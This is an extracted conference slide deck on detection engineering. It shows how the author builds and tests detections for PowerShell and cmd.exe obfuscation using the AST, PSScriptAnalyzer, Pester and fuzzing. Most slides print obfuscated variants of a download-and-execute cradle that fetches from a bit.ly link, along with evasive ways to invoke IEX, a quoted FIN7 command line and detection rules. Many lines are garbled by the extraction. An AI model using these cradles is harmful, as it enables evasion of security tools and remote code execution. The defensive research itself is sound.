DevSec Defense
How DevOps Practices Can Drive Detection Development For Defenders

Daniel Bohannon (@danielhbohannon)
Senior Applied Security Researcher
FireEye's Advanced Practices Team
PS C:\> .('g'+'c')('env:Us'+'er*Name')

- Daniel Bohannon (@danielhbohannon)
- Senior Applied Security Researcher
- FireEye's Advanced Practices Team
- Blog: http://danielbohannon.com

- I like writing obfuscation stuff
  - Invoke-Obfuscation
  - Invoke-CradleCrafter
  - Invoke-DOSfuscation
- I REALLY like writing detection stuff
  - Revoke-Obfuscation
$ag = New-Object System.Agenda

- Motivation
- Case Study #1: PowerShell Obfuscation
- Case Study #2: Cmd.exe Obfuscation
- Case Study #3: Framework Fuzzing
- Key Takeaways
$ag = New-Object System.Agenda

• Motivation
• Case Study #1: PowerShell Obfuscation
• Case Study #2: Cmd.exe Obfuscation
• Case Study #3: Framework Fuzzing
• Key Takeaways
Background of 8 years in:
  - IT operations
  - Operational security
  - Incident Response consulting
  - Applied detection R&D at scale

2 consistent things in each role
Background of 8 years in:
- IT operations
- Operational security
- Incident Response consulting
- Applied detection R&D at scale

2 consistent things in each role
- Coffee connoisseur

https://www.beanthere.co.za/shop/home-brewing/chemex-coffee-maker/
Background of 8 years in:
- IT operations
- Operational security
- Incident Response consulting
- Applied detection R&D at scale

2 consistent things in each role
- Coffee connoisseur
- Aspiring PowerShell aficionado
Get-LocalUser | ? { $_.Intent -eq 'Malicious' }

- Attackers love PowerShell
- Native, signed Windows binary
- Tons of offensive tradecraft
- Easy memory-only remote download cradle one-liners
  - PS> iex(iwr bit.ly/e0Mw9w)
Get-LocalUser | ? { $_.Intent -eq 'Malicious' }

- Attackers love PowerShell
- Native, signed Windows binary
- Tons of offensive tradecraft
- Easy memory-only remote download cradle one-liners
  - `PS> iex(iwr bit.ly/e0Mw9w)`

Get-WinEvent '*-PowerShell/*' | ? { $_.Intent -eq 'Evil' }

- **[ENTER DETECTION DEVELOPMENT]**
  - Forensic artifacts
  - Network detection
  - Real-time host-based detection

- **Rigid Signature vs Resilient Detection**
  - Reactive vs Proactive detection development
  - As TTPs change so should your detections (kind of)

[PowerForensics](https://powerforensics.readthedocs.io/en/latest/)
Get-Content about_DEVSecDefense

- Is this talk about
  - Automation?
  - Dev Ops?
  - Detection Dev?
- YES!
3 Detection Research Case Studies
My methodology for crafting detections
PowerShell frameworks that help drive:
  • Detection development
  • Detection tuning
  • Sharing of detection research
$ag = New-Object System.Agenda

- Motivation
- **Case Study #1: PowerShell Obfuscation**
- Case Study #2: Cmd.exe Obfuscation
- Case Study #3: Framework Fuzzing
- Key Takeaways
Case Study 1: PowerShell Obfuscation

- Define the problem
  - PowerShell argument & script obfuscation can evade rigid detections
- Assess our tools
  - AST (Abstract Syntax Tree)
  - PSScriptAnalyzer
- Develop detections
#PowerShell Obfuscation


- `$str1 = "Invoke-Expression "`
- `$str2 = "New-Object "`
- `$str3 = "Net.WebClient"
- `$str4 = ".DownloadString"
- `$str5 = /http(s)?:\/:\/:\/
- Condition: (all of ($str*))`
#PowerShell Obfuscation – String Token

- `Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'tp:\/bit.ly/L3g1t')`

- String concatenation
- Slash interchangeability
  - http://
  - http:\\
  - http:\
  - http:\"
#PowerShell Obfuscation – Member Token

#PowerShell Obfuscation – Member Token

#PowerShell Obfuscation – Member Token

- `PS> Invoke-Expression (New-Object Net.WebClient)."Download\String"('ht'+tp:\/bit.ly/L3g1t')`
#PowerShell Obfuscation – Member Token

- `PS> Invoke-Expression (New-Object Net.WebClient)."Download` `String`("ht'\+tp://\bit.ly/L3g1t")` Get-Help about_Escape_Characters

Get-Help about_Escape_Characters

**USING SPECIAL CHARACTERS**

When used within quotation marks, the escape character indicates a special character that provides instructions to the command parser.

The following special characters are recognized by Windows PowerShell:

`\0` Null
`\a` Alert
`\b` Backspace
`\f` Form Feed
`\n` New line
`\r` Carriage return
`\t` Horizontal tab
`\v` Vertical tab

For example:

```powershell
PS C:\> "12345678123456781\n\r\t\n\v\t\n\v\t\n\v12345678123456781\nColumn2 Co13"
```

In Windows PowerShell, the escape character is the backtick (``), also called the grave accent.
#PowerShell Obfuscation – Member Token

#PowerShell Obfuscation – Member Token

- PS> Invoke-Expression (New-Object Net.WebClient)."`D`o`w`n`l`o`a`d`S`t`r`i`n`g"( 'ht'+'tp:\/\bit.ly/L3g1t')
#PowerShell Obfuscation – Member Token

- **PS> Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tp:\/\bit.ly/L3g1t')**
#PowerShell Obfuscation – Member Token

- PS> Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+'tp:\/bit.ly/L3g1t')

- What about string manipulation of Member Token?
#PowerShell Obfuscation – Member Token

- `PS> Invoke-Expression (New-Object Net.WebClient).("DownloadString")('ht'+'tp:\/bit.ly/L3g1t')`

- What about string manipulation of Member Token?
#PowerShell Obfuscation – Member Token

- PS> `Invoke-Expression (New-Object Net.WebClient).("Down"+"loadString")( 'ht'+'tp:\/bit.ly/L3g1t')`

- What about string manipulation of Member Token?
  - String Concatenation
#PowerShell Obfuscation – Member Token

- PS> `Invoke-Expression (New-Object Net.WebClient).("Down"+"loadString").Invoke('ht'+'tp:/bit.ly/L3g1t')`

- What about string manipulation of Member Token?
  - String Concatenation
#PowerShell Obfuscation – Member Token

- **PS> Invoke-Expression** *(New-Object Net.WebClient).('{1}{0}{2}'-f'load','Down','String').Invoke('ht\tp:/bit.ly/L3g1t')*

- What about string manipulation of Member Token?
  - String Concatenation
  - String Reordering
#PowerShell Obfuscation – Member Token


- What about string manipulation of Member Token?
  - String Concatenation
  - String Reordering
  - ASCII Conversion
#PowerShell Obfuscation – Member Token


- What about string manipulation of Member Token?
  - String Concatenation
  - String Reordering
  - ASCII Conversion

How else can we produce the string "DownloadString"?

DEMO 1
#PowerShell Obfuscation – Member Token

- PS> Invoke-Expression (New-Object Net.WebClient).((.{1}{0}'-f'Object','New-') ('Net.Web'+'Client')|.(gal gm)|?{{ls variable:_).Value.Name-clike'D*S*g'}}).Name).Invoke('ht'+tp:\/bit.ly/L3g1t')

- What about string manipulation of Member Token?
  - String Concatenation
  - String Reordering
  - ASCII Conversion
  - Member Enumeration / String Substitution
#PowerShell Obfuscation – Argument Token

- `PS> Invoke-Expression (New-Object Net.WebClient)::__({'{1}{0} -f 'Object', 'New-') ('Net.Web'+ 'Client')| .(gal gm)| ?{(ls variable:_).Value.Name- clike 'D*S*g'}).Name).Invoke('ht'+ 'tp://bit.ly/L3g1t')`
#PowerShell Obfuscation – Argument Token

- PS> Invoke-Expression (New-Object Net`.Web`Client).(({1}{0}'-f'Object','New-') ('Net.Web'+'Client')).(gal gm)|?{(ls variable:_).Value.Name- clike'D*S*g'}).Name).Invoke('ht'+'tp:\bit.ly/L3g1t')
#PowerShell Obfuscation – Argument Token

PS> Invoke-Expression (New-Object ('Net.Web'+'Client')).((.{1}{0}'-f'Object','New-') ('Net.Web'+'Client')|.gal gm|?{{ls variable:_).Value.Name-clike'D*S*g'}}).Name).Invoke('ht'+'tp:\/bit.ly/L3g1t')
#PowerShell Obfuscation – Argument Token

```powershell
PS> Invoke-Expression (New-Object '{1}{0}'-f'Client','Net.Web')).(( '{1}{0}'-f'Object','New-') ('Net.Web'+'Client')).(gal gm)?{(ls variable:_).Value.Name-clike'D*S*g').Name).Invoke('ht'+tp:\/bit.ly/L3g1t')
```
#PowerShell Obfuscation – Cmdlet Token

- PS> Invoke-Expression (New-Object '{1}{0}'-f'Client','Net.Web')).((('
- '('New-'
- '('Net.Web'+'Client')|.(gal gm)|?{'ls variable:_).Value.Name-
- clike'D*S*g'})).Name).Invoke('ht'+tp:\/bit.ly/L3g1t')
#PowerShell Obfuscation – Cmdlet Token

- PS> Invoke-Expression (.('New-''+''Object')('{1}{0}'-'f'Client','Net.Web')).('.('{1}{0}'-'f'Object','New-')('Net.Web''+''Client')|.(gal gm)|?{ls variable:_).Value.Name-clike'D*S*g'}).Name).Invoke('ht''+''tp:\/bit.ly/L3g1t')
#PowerShell Obfuscation – Cmdlet Token

- **PS> Invoke-Expression (}.{1}{0}-f'Object','New-'+}.{1}{0}-f'Client','Net.Web').(.}.{1}{0}-f'Object','New-') ('Net.Web'+'Client').(gal gm)|?{(ls variable:_).Value.Name- clike'D*S*g'}).Name).Invoke('ht'+'tp:\/bit.ly/L3g1t')**
#PowerShell Obfuscation – Cmdlet Token

#PowerShell Obfuscation – Cmdlet Token

- `PS> Invoke-Expression (.GCM N*je*t)('{1}{0}'-f'Client','Net.Web')).(( '{1}{0}'-f'Object','New-')('Net.Web'+'Client')|.(gal gm)|?{(ls variable:_).Value.Name- clike'D*S*g'}).Name).Invoke('ht'+tp:\/bit.ly/L3g1t')
#PowerShell Obfuscation – Invocation

- `PS> Invoke-Expression (.GCM N*jett)('{1}{0}'-f'Client','Net.Web').(''{1}{0}'-f'Object','New-')('Net.Web'+'Client').(gal gm) |?{(ls variable:_).Value.Name- clike'D*S*g'}).Name).Invoke('ht'+'tp:/\bit.ly/L3g1t')`
#PowerShell Obfuscation – Invocation

- I`E`X $expression
- &('I'+EX)$expression
- .('{1}{0}'-f'EX','I')$expression
- .(-join[char[]](105,101,120))$expression
- .([String]''.LastIndexOfAny)[84,11,80]-join''$expression
- &($env:ComSpec[4,26,25]-join'')$expression
# PowerShell Obfuscation – Invocation

- & (GCM *-Ex*n) $expression
- . (GAL IE*) $expression
- ICM([ScriptBlock]::Create($expression))
- [PowerShell]::Create().AddScript($expression).Invoke()
- Invoke-AsWorkflow -Expression ($expression)
#PowerShell Obfuscation – Invocation

- `&$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')$expression`
- `$ExecutionContext.InvokeCommand.InvokeScript($expression)`
#PowerShell Obfuscation – Invocation


- `(Get-Item Variable:/E*onte*).Value %{(GV __).Value (((Get-Item Variable:/E*onte*).Value | GM)[6].Name) (((Get-Item Variable:/E*onte*).Value (((Get-Item Variable:/E*onte*).Value | GM)[6].Name) GM ?{(GV __) Value.Name clike '*k*ript'}) Name).Invoke($expression)}`
#PowerShell Obfuscation – Invocation

- Invoke-CradleCrafter invocation options

Choose one of the below Memory\PsWebString\Invoke options to APPLY to current cradle:

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>![Memory\PsWebString\Invoke \1](</td>
<td>No Invoke --&gt; For testing download sans IEX</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \2](</td>
<td>PS IEX --&gt; IEX/Invoke-Expression</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \3](</td>
<td>PS Get-Alias --&gt; Get-Alias/GAL</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \4](</td>
<td>PS Get-Command --&gt; Get-Command/GCM</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \5](</td>
<td>PS1.0 GetCmdlet --&gt; $ExecutionContext...</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \6](</td>
<td>PS1.0 Invoke --&gt; $ExecutionContext...</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \7](</td>
<td>ScriptBlock+ICM --&gt; ICM/Invoke-Command/.Invoke()</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \8](</td>
<td>PS Runspace --&gt; [PowerShell]::Create(StdOut)</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \9](</td>
<td>Concatenated IEX --&gt; .($env:ComSpec[4,15,25]-Join')</td>
</tr>
<tr>
<td>![Memory\PsWebString\Invoke \10](</td>
<td>Invoke-AsWorkflow --&gt; Invoke-AsWorkflow (PS3.0+)</td>
</tr>
</tbody>
</table>
# PowerShell Obfuscation – Invocation

**Invoke-Obfuscation**

Tool: Invoke-Obfuscation
Author: Daniel Bohannon (OBH)
Twitter: @danielbohannon
Blog: http://danielbohannon.com
Github: https://github.com/danielbohannon/Invoke-Obfuscation
Version: 1.7
License: Apache License, Version 2.0
Notes: If (!$Caffeinated) (Exit)

HELP MENU: Available options shown below:

- Tutorial of how to use this tool
- Show this Help Menu
- Show options for payload to obfuscate
- Clear screen
- Execute ObfuscatedCommand locally
- Copy ObfuscatedCommand to clipboard
- Write ObfuscatedCommand out to disk
- Reset all obfuscation for ObfuscatedCommand
- Undo last obfuscation for ObfuscatedCommand
- Go back to previous obfuscation menu
- Quit/Invoke Obfuscation
- Return to Main Menu

Choose one of the below options:

- **TOKEN**
  - Obfuscate PowerShell command tokens
- **STRING**
  - Obfuscate entire command as a string
- **ENCODING**
  - Obfuscate entire command via encoding
- **LAUNCHER**
  - Obfuscate command args w/ Launcher techniques (run once at end)

**Invoke-Cradle Crafter**

Tool: Invoke-CradleCrafter
Author: Daniel Bohannon (OBH)
Twitter: @danielbohannon
Blog: http://danielbohannon.com
Github: https://github.com/danielbohannon/Invoke-CradleCrafter
Version: 1.0
License: Apache License, Version 2.0
Notes: If (!$Caffeinated) (Exit)

HELP MENU: Available options shown below:

- Tutorial of how to use this tool
- Show this Help Menu
- Show options for cradle to obfuscate
- Clear screen
- Execute ObfuscatedCradle locally
- Copy ObfuscatedCradle to clipboard
- Write ObfuscatedCradle out to disk
- Reset all obfuscation for ObfuscatedCradle
- Undo last obfuscation for ObfuscatedCradle
- Go back to previous obfuscation menu
- Quit/Invoke-Cradle Crafter
- Return to Main Menu

Choose one of the below options:

- **MEMORY**
  - Memory-only remote download cradles
- **DISK**
  - Disk-based remote download cradles

Invoke-CradleCrafter>
#PowerShell Obfuscation – Assess Tools

• Assess our tools (to develop detections)
  • PowerShell logging
    • Module
    • Script Block
    • Transcription)
  • AST (Abstract Syntax Tree)
  • PSScriptAnalyzer
DevSec Defense

Get-Command -Name ("{1}{0}" -f "-Process","Get")
#PowerShell Obfuscation – AST for Detection

- How can we use the AST (Abstract Syntax Tree)?
#PowerShell Obfuscation – AST for Detection

- How can we use the AST (Abstract Syntax Tree)?
  - Invoke-RickASTley

https://postmedia.vancouversun2.files.wordpress.com/2016/10/giphy.gif
# PowerShell Obfuscation – AST for Detection

- How can we use the AST
  - Extracting features for data science stuff
- Built corpus of PS scripts
- Labeled portion of scripts as Obfuscated vs Clean
- Applied data science techniques to determine which features are most important
PowerShell Obfuscation – AST for Detection

- PS> `Invoke-Expression (New-Object Net.WebClient)."`D`o`\n\l`o\a`d`Str`i`n`g"(\n`'ht'+'tp:\/\bit.ly/L3g1t')`
#PowerShell Obfuscation – AST for Detection

- **Revoke-Obfuscation**
  - White paper:
  - Presentation videos:
    - [https://www.youtube.com/watch?v=x97ejtv56xw](https://www.youtube.com/watch?v=x97ejtv56xw)
  - Source code:
    - [https://github.com/danielbohannon/Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation)

Revoke-Obfuscation is the result of industry research collaboration between Daniel Bohannon - Senior Applied Security Researcher at Mandiant/FireEye, and Lee Holmes - Lead Security Architect at Azure Management at Microsoft.

Background

By far the most prevalent delivery and execution vehicle for malware in the industry today is basic malicious executables and malicious documents. While not represented accurately by its popularity in the news, a small portion of the current malware ecosystem leverages PowerShell as part of its attack chain. Of malware that uses PowerShell, the most prevalent use is the garden-variety stager: an executable or document macro that launches PowerShell to download another executable and run it.

Despite its relative statistical rarity, development of malicious and offensive-focused PowerShell techniques has been a rich field of innovation. Commercial products have started to react to these techniques in several ways. Because they are often delivered as script files, Antivirus vendors have long had the ability to write signatures that block malicious PowerShell scripts. With the release of Windows 10, some vendors have additionally begun to implement support for Windows’ Anti-Malware Scan Interfaces. This interface gives Antivirus vendors the ability to implement deep content scanning, providing visibility as each stage of malware fetches and dynamically executes new instructions from a remote network location.

In addition to antivirus signatures, many SEM vendors have started to implement alerting based on command-line parameters that are frequently used in malicious contexts. Palo Alto provides an excellent survey of commonly-used malicious PowerShell command-line arguments in their post, *Pulling Back the Curtain on Encoder/Command Power Shell Attacks.*

As with any ecosystem, parts of the malicious and offensive-focused community have started to adapt their tooling to avoid signature-based detections. Part of this response has come through an increased use of content obfuscation – a technique long employed at both the binary and content level by traditional malware authors.

In the Wild: FINB

One example of threat actors using obfuscation techniques in the wild is FINB, a financially-motivated targeted attacker. They use a handful of techniques to avoid traditional static detection.
#PowerShell Obfuscation – AST for Evading Detection

- How can we use the AST (Abstract Syntax Tree)?
  - **PSAmsi (@cobbr_io)**
  - Uses AST to minimally obfuscate PowerShell scripts to evade specific A/V signatures
How can PSScriptAnalyzer help us detect minimal obfuscation?

- In-depth signatures targeting specific AST node types, relationships, etc.

**Measure-TickUsageInMember**

```powershell
# Finds MemberExpressionAst nodes that contain one or more back ticks.
[ScriptBlock] $predicate = {

    if ($targetAst)
    {
        if ($targetAst.MemberExtent.Text -cmatch '``')
        {
            return $true
        }
    }
}
```
How can PSScriptAnalyzer help us detect minimal obfuscation?

- In-depth signatures targeting specific AST node types, relationships, etc.

**Measure-NonAlphanumericUsageInMember**

```powershell
# Finds MemberExpressionAst nodes that contain non-alphanumeric characters.
[ScriptBlock] $predicate = {

    if ($targetAst)
    {
        if ($targetAst.MemberExtent.Text.Trim('"'('(')).TrimStart('$') -match '^[a-zA-Z0-9\s\-\_\[]$']
        {
            return $true
        }
    }
}
```
#PowerShell Obfuscation – PSScriptAnalyzer for Detection

- **PSScriptAnalyzer_Obfuscation_Detection_Rules.psm1**
  - Measure-TickUsageInCommand
  - Measure-TickUsageInArgument
  - Measure-TickUsageInMember
  - Measure-NonAlphanumericUsageInMember
  - Measure-NonAlphanumericUsageInVariable
  - Measure-LongMemberValue

- **Measure-SAObfuscation.psm1**
  - Wrapper module for displaying aggregated ScriptAnalyzer hits
$ag = New-Object System.Agenda

- Motivation
- Case Study #1: PowerShell Obfuscation
- **Case Study #2: Cmd.exe Obfuscation**
- Case Study #3: Framework Fuzzing
- Key Takeaways
Case Study 2: Cmd.exe Obfuscation

- **Define the problem**
  - Cmd.exe argument & batch script obfuscation can evade rigid detections

- **Assess our tools**
  - Pester (Unit Testing)
  - Custom fuzzer

- **Develop detections**
# $DOSfuscation = "Cmd.exe Obfuscation"

- **Define the problem**
  - Cmd.exe argument obfuscation can evade rigid detections
  - Attackers are already doing this
    - FIN7 (Carbanak)
    - FIN8
    - APT32 (OceanLotus)
  - Enumerate the problem space to more intelligently create detections

---

Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques

June 30, 2017 | by Daniel Bohannon, Nick Carr | Threat Research

Throughout 2017 we have observed a marked increase in the use of command line evasion and obfuscation by a range of targeted attackers. Cyber espionage groups and financial threat actors continue to adopt the latest cutting-edge application whitelisting bypass techniques and introduce innovative obfuscation into their phishing lures. These techniques often bypass static and dynamic analysis methods and highlight why signature-based detection alone will always be at least one step behind creative attackers.
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- ITW example that inspired this research
  - FIN7 obfuscated .LNK file
  - JavaScript obfuscation
    - `String.fromCharCode(101)+'va'+1'`
  - Cmd.exe argument obfuscation

![Image](https://i.imgur.com/tZpnpiI.gif)
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- cmd.exe /c set x=wscript /e:jscript ... echo %x%|cmd
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- cmd.exe /c set x=wscript /e:jscript ... echo %x%%|cmd

Garbage delimiters
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- cmd.exe /c set x=wsc@ript /e:jscript ... echo %x%|cmd

Garbage delimiters
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- `cmd.exe /c set x=wsc@ript /e:js@cript ... echo %x%|cmd`

Garbage delimiters

Delimiter removal
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- `cmd.exe /c set x=wsc@ript /e:js@cript ... echo %x %|cmd`

  - Garbage delimiters
  - Delimiter removal
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- cmd.exe /c set x=wsc@ript /e:js@cript ...
  echo %x:@show\=\%=\%|cmd
  Garbage delimiters
  Delimiter removal

50. [String Data]
51. Relative path (UNICODE):
   ...
   \Windows\System32\cmd.exe
52. Arguments (UNICODE):
   /C set x=wsc@ript /e:js@cript %HOMEPATH%md5.txt &
   echo try{ %x:@show\=\%=\%|cmd
53. w=GetObject('',"Wor\"d.Application");this[ String.
   fromCharCode(101)\"va\"+\"l\"](w.ActiveDocument.Shape
54. s(1).TextFrame.TextRange.Text);catch(e){}; %HOMEPATH%md5.txt &
   echo %x:@show\=\%=\%|cmd
55. Icon location (UNICODE):
   c:\Users\andy\Desktop\2013-Word.ico
Get-DOSfuscation | ? { $_.Author -eq 'FIN7' }

- ... echo %x:}@=%|cmd

Delimiter removal

https://media.giphy.com/media/l4Jz3a8jO92crULWM/giphy.gif
while (1) { Invoke-Research }

9 months research

White paper

Invoke-DOSfuscation
get-help Invoke-DOSfuscation -examples

• cmd.exe /c "echo Invoke-DOSfuscation"
get-help Invoke-DOSfuscation -examples

- cmd.exe /c "set O=fuscation&set B=oke-DOS&&set D=echo Inv&&call %D%%B%%O%"
get-help Invoke-DOSfuscation -examples

- cm%windir:~ -4, -3%.e^Xe,;^#/^C";S^Et ^
  ^o^=fus^cat^ion&;^se^T ^ ^ ^B^=o^ke-D^OS&;&s^Et^ ^
  d^=ec^ho l^nv&;&C^Al^I,; ^%^D%^%B%^%o%^%"
get-help Invoke-DOSfuscation -examples

- FOR /F "delims=il tokens=+4" %Z IN ('assoc .cdxml') DO %Z
  ;;^,/^C";;;;S^Et ^ ^o^=fus^cat^ion&;;;;^se^T ^ ^ ^B^=o^ke-D^OS&;&;;;;s^Et^ ^ d^=ec^ho
  l^nv&;&;;;;C^Al^l;;;;%^D%^B%^o%"
get-help Invoke-DOSfuscation -examples

- `^F^oR , , , , ; ; ; ; , " delims=il tokens= +4 " ; ; , , , , %Z ; , , , , ^In , , , , , ( , ; ; ; ' , , , , , ; ^a^s^oC ; , , , , ; .c^d^xm^I ` ; , , , , ) , , , , ; , ^d^o , , , , , , %Z , ; ^ , /^C" , ; , S^Et ^ ^o^=fus^cat^ion& , ; , ^se^T ^ ^ ^B^=o^ke-D^OS& & , ; , s^Et^ ^ d^=ec^ho l^nv& & , ; , C^Al^I , ; , ^ %^D%^B^%^o%^"
FEAR OF MISSING OUT
FEAR OF MISSING OUT

Obfuscation
Invoke-DOSfuscation
- Custom fuzzing framework
- Automating detection dev

Pester
- Ensuring fuzzer functionality
- Basic detection testing

Invoke-DosTestHarness
- Custom wrapper test harness

DEMO 5

Goal: Should Be 'Finding Evil'

Finding 1-in-1000-iteration bugs: feels good
Finding 1-in-1000-iteration obfuscated payloads that evade your own detection idea: PRICELESS

Automation-driven testing is sooo helpful at finding bugs & tuning detection ideas, & is why I build obfuscation tools.
#ThisIsWhyIObfuscate
$ag = New-Object System.Agenda

- Motivation
- Case Study #1: PowerShell Obfuscation
- Case Study #2: Cmd.exe Obfuscation
- **Case Study #3: Framework Fuzzing**
- Key Takeaways
Case Study 3: Framework Fuzzing

Define the problem
- Obfuscation added to public offensive frameworks can evade rigid detections

Assess our tools
- Ctrl+C & Ctrl+V
- % / ForEach-Object 😊

Develop detections

Measure-Command { New-ObfuscationFramework }

- Developing new frameworks takes time (lots of it!)
- We can apply these DevSec principles to existing public offensive tradecraft

DEMO 6
$ag = New-Object System.Agenda

- Motivation
- Case Study #1: PowerShell Obfuscation
- Case Study #2: Cmd.exe Obfuscation
- Case Study #3: Framework Fuzzing
- **Key Takeaways**
Offensive research for detection development
  - Reactive
  - Proactive
Defenders have active role in detecting & shaping attacker activity

https://media.giphy.com/media/WWRArOTz2L3wI/200w_d.gif
$\text{DetectionDev.StartsWith('???')}$

- Define the problem
- Assess our tools
- Build new tools
- Develop detections
  - Piece by piece
  - Automate testing to preserve brain cycles
- Share successes, failures, methods & tooling

*Perfection is the enemy of [progress](https://www.google.com), [good](https://www.google.com), [done](https://www.google.com), [perfectly adequate](https://www.google.com), [creativity](https://www.google.com), [innovation](https://www.google.com)*
Detection development is an iterative Art & Science
DevSec principles empower more effective detection R&D
PowerShell tooling facilitates this detection R&D
  • Abstract Syntax Tree (and its ease of use in PowerShell)
  • PSScriptAnalyzer
  • Pester
  • Custom fuzzer & test harness development
Automate point-in-time thinking to free up creative brain cycles
• Assembling corpus of samples is key (commands, scripts, PCAP, etc.)
  • Existing public/private samples
  • Generate your own samples
• These techniques are tool- and language-agnostic
  • Invoke-DOSfuscation: cmd.exe arguments + IOCs, YARA, data science
  • SCT/Scriptlet: text files + IOCs, YARA, Snort
REFERENCES

• Modules/Examples from this presentation
  • **DevSec Defense**: [https://github.com/danielbohannon/DevSec-Defense](https://github.com/danielbohannon/DevSec-Defense)

• Frameworks
  • Invoke-Obfuscation: [https://github.com/danielbohannon/Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
  • Invoke-CradleCrafter: [https://github.com/danielbohannon/Invoke-CradleCrafter](https://github.com/danielbohannon/Invoke-CradleCrafter)
  • Invoke-DOSfuscation: [https://github.com/danielbohannon/Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)
  • Revoke-Obfuscation: [https://github.com/danielbohannon/Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation)

• White papers & blog posts
  • URLs listed at [http://danielbohannon.com/publications/](http://danielbohannon.com/publications/)
about_Author

- Daniel Bohannon
- Twitter: @danielbohannon
- Blog: http://danielbohannon.com
- Github: https://github.com/danielbohannon/DevSec-Defense
Questions?